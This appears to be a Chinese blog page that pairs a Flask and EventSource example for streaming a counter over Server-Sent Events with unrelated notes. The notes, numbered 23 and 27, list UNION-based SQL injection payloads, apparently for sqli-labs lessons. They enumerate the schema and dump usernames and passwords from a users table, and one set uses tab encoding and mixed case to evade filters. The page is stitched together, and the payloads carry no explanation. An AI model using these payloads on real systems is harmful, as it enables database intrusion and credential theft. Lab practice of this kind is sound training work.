html使用SSE实时显示数据

把python的累加数据实时显示在html上,不使用连续轮询。

Python 代码

from flask import Flask, render_template, Response
import time

app = Flask(__name__)

accumulated_data = 0 

# Function to continuously accumulate data
def accumulate_data():
    global accumulated_data
    while True:
        accumulated_data += 1  
        time.sleep(1)  

# Thread to run the data accumulation function
from threading import Thread
accumulation_thread = Thread(target=accumulate_data)
accumulation_thread.daemon = True  
accumulation_thread.start()

# SSE endpoint to stream accumulated data
@app.route('/stream_data')
def stream_data():
    def generate_data():
        global accumulated_data
        while True:
            yield f'data: {accumulated_data}\n\n' 
            time.sleep(1)  

    return Response(generate_data(), content_type='text/event-stream')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

index.html

<!DOCTYPE html>
<html>
<head>
    <title>Real-time Data Accumulation</title>
</head>
<body>
    <h1>Real-time Data Accumulation:</h1>
    <div id="data-container"></div>

    <script type="text/javascript">
        function handleSSE(event) {
            const dataContainer = document.getElementById('data-container');
            dataContainer.innerText = event.data; 
        }

        const eventSource = new EventSource('/stream_data');
        eventSource.onmessage = handleSSE;
    </script>
</body>
</html>

23

-1’ union select 1,(select database()),3 --+

id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and ‘1’='1

-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 and ‘1’='1

-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 and ‘1’='1

-1’ union select 1,(select group_concat(id,‘‘,username,’’,password) from security.users),3 and ‘1’='1

27
?id=1’%09And%09’1’='1

?id=0%27%09UniOn%09sElect%091,(sElEct%09database()),3%09And%09%271%27='1

?id=0%27%09UniOn%09sElect%091,(sElect%09group_concat(schema_name)%09from%09information_schema.schemata),3%09And%09%271%27='1

?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘security’),3%09And%09’1’='1

?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=‘security’ and%09table_schema=‘security’),3%09And%09’1’='1

?id=0’%09UniOn%09sElect%091,(sElect%09group_concat(id,‘‘,username,’’,password)%09from%09security.users),3%09And%09’1’='1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值